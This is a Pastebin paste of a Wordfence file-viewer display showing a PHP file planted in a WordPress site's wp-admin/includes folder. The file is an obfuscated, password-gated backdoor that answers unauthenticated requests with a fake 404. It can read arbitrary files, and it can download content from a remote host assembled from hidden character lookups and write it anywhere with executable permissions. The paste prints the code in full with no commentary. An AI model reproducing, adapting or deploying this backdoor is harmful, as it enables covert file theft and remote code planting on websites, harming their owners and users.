Advertisement
djkennywade

medias

Sep 11th, 2019
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.60 KB | None | 0 0
  1. Wordfence: File Viewer
  2. Filename: /homepages/25/d271556202/htdocs/mvca/wp-admin/includes/medias.php
  3. File Size: 5,104 bytes
  4. File last modified: Monday 12th of December 2016 03:22:03 AM
  5. <?php
  6.  
  7.  
  8. @ini_set('display_errors', 0);@set_time_limit(3600);
  9. $q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
  10. if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
  11. foreach($OO0O00 as $O00O00o=>$O00Oo0o){
  12. $$O00O00o = $O00Oo0o;
  13. }
  14.  
  15. if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
  16. header("HTTP/1.1 404 Not Found");
  17. header("Status: 404 Not Found");
  18. exit;
  19. }
  20.  
  21. if(isset($act) && $act == 'check' && isset($check_file)){
  22. if(file_exists($check_file)){
  23. echo '#ok#';
  24. }
  25. }
  26.  
  27. if(isset($act) && $act == 'test'){
  28. echo '#ok#';
  29. }
  30.  
  31. if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
  32. {
  33.  
  34. $pfile = $recover_file;
  35. $date = $OO0O0O($recover_file_url);
  36. gdir_file($recover_file);
  37. @chmod($pfile,0755);
  38.  
  39. if($date && file_put_contents($pfile,$date)){
  40. echo '#ok#';
  41. }else{
  42. echo '#fail#';
  43. }
  44.  
  45. }
  46. }
  47.  
  48. if(isset($act) && $act == 'redate' && isset($redate_file)){
  49. if(file_exists($redate_file)){
  50. echo rdFile($redate_file);
  51. }
  52. }
  53.  
  54. function RandAbc($length = "") {
  55. $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
  56. return ($str);
  57. }
  58.  
  59. function rdFile($file){
  60. if(function_exists('file_get_contents')){
  61. return file_get_contents($file);
  62. }else{
  63. $handle = fopen($file, "r");
  64. $contents = fread($handle, filesize($file));
  65. fclose($handle);
  66. return $contents;
  67. }
  68. }
  69.  
  70. function cget($url,$loop=10){
  71. $data = false; $i = 0;
  72.  
  73. while(!$data) {
  74. $data = tcget($url); if($i++ >= $loop) break; }
  75. return $data;
  76. }
  77.  
  78. function tcget($url,$proxy=''){
  79. global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
  80. $data = ''; $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
  81. $url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
  82. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  83. curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); }
  84.  
  85. if ($data == ''){
  86. if (function_exists('file_get_contents') && $url){
  87. $data = @file_get_contents($url); }
  88. }
  89.  
  90. if (($data == '') && $url){
  91. if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
  92. ($fp = @fopen($url, 'r'));
  93. if ($fp){
  94.  
  95. while (!@feof($fp)){
  96. $data .= @fgets($fp) . ''; }
  97.  
  98. @fclose($fp); }
  99. }
  100. }
  101. return $data;
  102. }
  103.  
  104. function m_mkdir($dir){
  105. if(!is_dir($dir)) mkdir($dir);
  106. }
  107.  
  108. function gdir_file($gDir=''){
  109. global $BT;
  110. $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
  111. $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
  112. $arr = explode(DIRECTORY_SEPARATOR,$gDir);
  113.  
  114. if(count($arr) <= 0) return;
  115.  
  116.  
  117. if(!strstr($gDir,$BT))
  118. $dir = $BT;
  119. else
  120. $dir = '';
  121.  
  122. for($i = 0 ; $i < count($arr)-1 ; $i++){
  123. $dir .= '/' . $arr[$i];
  124. m_mkdir($dir);
  125. }
  126.  
  127. return $dir;
  128. }
  129.  
  130. //
  131. © 2011 to 2019 Wordfence — Visit Wordfence.com for help, security updates and more.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement